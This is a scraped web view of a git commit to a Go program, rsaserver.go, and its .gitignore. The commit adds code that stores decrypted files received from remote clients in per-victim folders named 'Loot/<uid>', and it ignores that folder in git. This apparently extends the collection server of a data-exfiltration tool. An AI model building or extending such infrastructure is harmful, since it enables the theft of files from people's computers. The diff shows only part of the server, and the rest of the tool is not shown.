Write to file
This commit is contained in:
		
							
								
								
									
										1
									
								
								.gitignore
									
									
									
									
										vendored
									
									
								
							
							
						
						
									
										1
									
								
								.gitignore
									
									
									
									
										vendored
									
									
								
							@@ -1 +1,2 @@
 | 
				
			|||||||
private_key.pem
 | 
					private_key.pem
 | 
				
			||||||
 | 
					Loot/*
 | 
				
			||||||
 
 | 
				
			|||||||
							
								
								
									
										43
									
								
								rsaserver.go
									
									
									
									
									
								
							
							
						
						
									
										43
									
								
								rsaserver.go
									
									
									
									
									
								
							@@ -14,6 +14,8 @@ import (
 | 
				
			|||||||
	"log"
 | 
						"log"
 | 
				
			||||||
	"net"
 | 
						"net"
 | 
				
			||||||
	"github.com/liamg/magic"
 | 
						"github.com/liamg/magic"
 | 
				
			||||||
 | 
						"os"
 | 
				
			||||||
 | 
						"time"
 | 
				
			||||||
)
 | 
					)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
func main() {
 | 
					func main() {
 | 
				
			||||||
@@ -188,7 +190,42 @@ func handleDecrypted(decryptedDataB []byte, uidB []byte){
 | 
				
			|||||||
        	    	panic(err)
 | 
					        	    	panic(err)
 | 
				
			||||||
        	}
 | 
					        	}
 | 
				
			||||||
    	}
 | 
					    	}
 | 
				
			||||||
	fmt.Printf("UID:		   %s\n", string(uidB))	
 | 
					
 | 
				
			||||||
    	fmt.Printf("File extension:        %s\n", fileType.Extension)
 | 
						uid := strings.TrimSpace(string(uidB))
 | 
				
			||||||
    	fmt.Printf("File type description: %s\n", fileType.Description)
 | 
						folderPath := fmt.Sprintf("Loot/%s", uid)
 | 
				
			||||||
 | 
						err = createFolderIfNotExists(folderPath)
 | 
				
			||||||
 | 
						if err != nil {
 | 
				
			||||||
 | 
							panic(err)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						timestamp := time.Now().Unix()
 | 
				
			||||||
 | 
						filename := fmt.Sprintf("%d.%s", timestamp, fileType.Extension)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						filePath := fmt.Sprintf("%s/%s", folderPath, filename)
 | 
				
			||||||
 | 
						fmt.Println(filePath)
 | 
				
			||||||
 | 
						err = saveFile(filePath, data)
 | 
				
			||||||
 | 
						if err != nil {
 | 
				
			||||||
 | 
							panic(err)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						fmt.Printf("Got a %s from %s, saving to %s\n",fileType.Extension,uid,filePath)
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					func createFolderIfNotExists(folderPath string) error {
 | 
				
			||||||
 | 
						_, err := os.Stat(folderPath)
 | 
				
			||||||
 | 
						if os.IsNotExist(err) {
 | 
				
			||||||
 | 
							err := os.MkdirAll(folderPath, 0755)
 | 
				
			||||||
 | 
							if err != nil {
 | 
				
			||||||
 | 
								return err
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						return nil
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					func saveFile(filePath string, data []byte) error {
 | 
				
			||||||
 | 
						err := ioutil.WriteFile(filePath, data, 0644)
 | 
				
			||||||
 | 
						if err != nil {
 | 
				
			||||||
 | 
							return err
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						return nil
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 
 | 
				
			|||||||
		Reference in New Issue
	
	Block a user